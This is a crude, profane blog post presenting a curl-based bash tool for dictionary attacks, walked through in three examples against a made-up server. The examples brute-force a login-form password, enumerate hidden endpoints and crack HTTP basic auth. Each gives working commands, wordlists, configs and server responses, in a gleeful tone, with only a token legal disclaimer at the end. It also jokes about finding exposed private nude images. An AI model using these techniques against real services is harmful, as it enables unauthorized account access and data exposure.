We all love curl for its ease of use in performing various kinds of almost raw requests via a multitude of protocols in a convenient CLI fashion.
But that’s just boring legit shit… how about we use it to do dictionary attacks on usernames/passwords, header values, directory names, access tokens and anything else you might think of?
Let’s have some fun!
The first step, as always, is installation.
% curl https://raw.githubusercontent.com/psyb0t/curl-request-dictionary-attack/master/curl-request-dictionary-attack > /usr/local/bin && chmod +x /usr/local/bin/curl-request-dictionary-attack
Now if you run the command curl-request-dictionary-attack you should get the following:
% curl-request-dictionary-attack
inexistent config file: ./config.sh
It’s now complaining that config.sh was not found in the working directory.
The config.sh file
This bash file is sourced from the current directory and should contain the following assigned variables
max_threads=100
dict_fields=(
"user_input" "./usernames.txt"
"password_input" "./passwords.txt"
)
expect_grep_expr=("-i" "welcome")
max_threads is an integer that specifies the maximum number of parallel curl processes that can be spawned by the script at any time.
dict_fields is a string array that specifies the ids of the template fields provided in the script arguments that will be replaced by each line in the file specified after the id of the field (even indexes are field names, odd indexes are dictionary files).
expect_grep_expr is a string array which gets passed to grep as arguments. The curl response is piped to that grep and it will show the curl command which passed the expression test.
After setting up the config file just launch curl-request-dictionary-attack with the curl arguments you need.
Example 1 – password form input dictionary crack
Say you have a login page asking for an email address and a password which then sends a POST request to http://my-bitch-server.fkd:8585/auth and you know that [email protected] is a valid registered email address
% curl -D /dev/stdout -skLX POST --data "[email protected]&password=fuck" http://my-bitch-server.fkd:8585/auth
HTTP/1.0 401 UNAUTHORIZED
Content-Type: text/html; charset=utf-8
Content-Length: 37
invalid password for [email protected]
Using curl I got the response for an invalid email+password combination. Let’s try to get a valid login.
First I need a file containing the list of passwords that will be sent out in hope of getting a valid login combination. I created the passwords.txt file having the following content
% cat passwords.txt
password
bestpassword
sumpass123
admin1234
lepass
yo!z
password1234
1234567890
fucker1990
Along with the passwords file I also created the config.sh file in the current directory
% cat config.sh
max_threads=20
dict_fields=(
"password_input" "./passwords.txt"
)
expect_grep_expr=("-iv" "invalid password for")
What this tells curl-request-dictionary-attack is: spawn max 20 parallel requests, sequentially replace any {password_input} template strings from the command arguments with passwords from the file ./passwords.txt and if the output of the curl request doesn’t contain invalid password for then print out the curl command with all of the used arguments.
Let’s run it
% curl-request-dictionary-attack -D /dev/stdout -skLX POST --data "[email protected]&password={password_input}" http://my-bitch-server.fkd:8585/auth
curl -D /dev/stdout -skLX POST --data [email protected]&password=password1234 http://my-bitch-server.fkd:8585/auth
And luckily I got some output. Let’s run the output command on its own
% curl -D /dev/stdout -skLX POST --data "[email protected]&password=password1234" http://my-bitch-server.fkd:8585/auth
HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 255
Location: http://my-bitch-server.fkd:8585/user/user%40example.com
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 23
hello [email protected]!
And I’m in! What a bad fuckin’ password…
Example 2 – dictionary endpoint discovery
A huge number of endpoints/directories of a website/web app can be left open to the world accidentally or lazily. Let’s find some shit using curl-request-dictionary-attack!
First I fired up curl on a random endpoint that I know does not exist
% curl -D /dev/stdout -kL "http://my-bitch-server.fkd:8585/fucked-up-endpoint"
HTTP/1.0 404 NOT FOUND
Content-Type: text/html
Content-Length: 232
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
K so now I know for sure that I’m not gonna get a 200 OK response on everything (good security by obscurity method to piss off some script-kiddies).
I created the file endpoints.txt having the following content
% cat endpoints.txt
uploads
some-directory
cgi-bin
files
secret
p0rn
received-nudes
My config.sh file looks like this
% cat config.sh
max_threads=20
dict_fields=(
"endpoint_input" "./endpoints.txt"
)
expect_grep_expr=("-i" "200 ok")
So it will launch max 20 curl requests, look for {endpoint_input} in the arguments, replace with lines from ./endpoints.txt and return any command which outputs a result containing 200 ok.
Let’s see what I get
% curl-request-dictionary-attack -D /dev/stdout -skL "http://my-bitch-server.fkd:8585/{endpoint_input}"
curl -D /dev/stdout -skL http://my-bitch-server.fkd:8585/secret
Cool! It found something
% curl -D /dev/stdout -skL http://my-bitch-server.fkd:8585/secret
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 25
this is a secret endpoint
How about I try using the same endpoint list multiple times to find deeper endpoinds?
I modified the config.sh file
% cat config.sh
max_threads=20
dict_fields=(
"endpoint_input" "./endpoints.txt"
"endpoint_input_2" "./endpoints.txt"
)
expect_grep_expr=("-i" "200 ok")
And launch time
% curl-request-dictionary-attack -D /dev/stdout -skL "http://my-bitch-server.fkd:8585/{endpoint_input}/{endpoint_input_2}"
curl -D /dev/stdout -skL http://my-bitch-server.fkd:8585/files/received-nudes
That looks freaky xD
% curl -D /dev/stdout -skL http://my-bitch-server.fkd:8585/files/received-nudes
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 62
mike1989-dick.jpg
alyssa8098-vag.png
big-tiddy-goth-nekkid.jpg
Ohh, snap! Haha!
Example 3 – basic auth dictionary cracking
I have an endpoint requiring basic authentication http://my-bitch-server.fkd:8585/admin
% curl -D /dev/stdout -skL http://my-bitch-server.fkd:8585/admin
HTTP/1.0 401 UNAUTHORIZED
Content-Type: text/html; charset=utf-8
Content-Length: 21
WWW-Authenticate: Basic realm="Main"
fuckin' unauthorized!
Oh really? Let’s say I don’t know any usernames so I’ll need to use two template strings, one for usernames and another for passwords.
I create usernames.txt having this content
% cat usernames.txt
root
admin
guest
administrator
I use the same passwords.txt file that I used in the first example
% cat passwords.txt
password
bestpassword
sumpass123
admin1234
lepass
yo!z
password1234
1234567890
fucker1990
I create the following config.sh
% cat config.sh
max_threads=20
dict_fields=(
"username_input" "./usernames.txt"
"password_input" "./passwords.txt"
)
expect_grep_expr=("-iv" "401 UNAUTHORIZED")
Now let’s get some access!
% curl-request-dictionary-attack -D /dev/stdout -skL -u "{username_input}:{password_input}" http://my-bitch-server.fkd:8585/admin
curl -D /dev/stdout -skL -u admin:fucker1990 http://my-bitch-server.fkd:8585/admin
% curl -D /dev/stdout -skL -u admin:fucker1990 http://my-bitch-server.fkd:8585/admin
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 10
admin area
Fuckin A!
I didn’t get into all of the possible types of attacks you can perform with the script, didn’t even get into the other protocols that curl supports, but I hope you got the general point and hey, just experiment!
Disclaimer
I’m not fuckin’ responsible if you do any stupid illegal shit using this. You should never attack any entity without proper legal permission!
Thanks! Check https://github.com/psyb0t/curl-request-dictionary-attack for the code.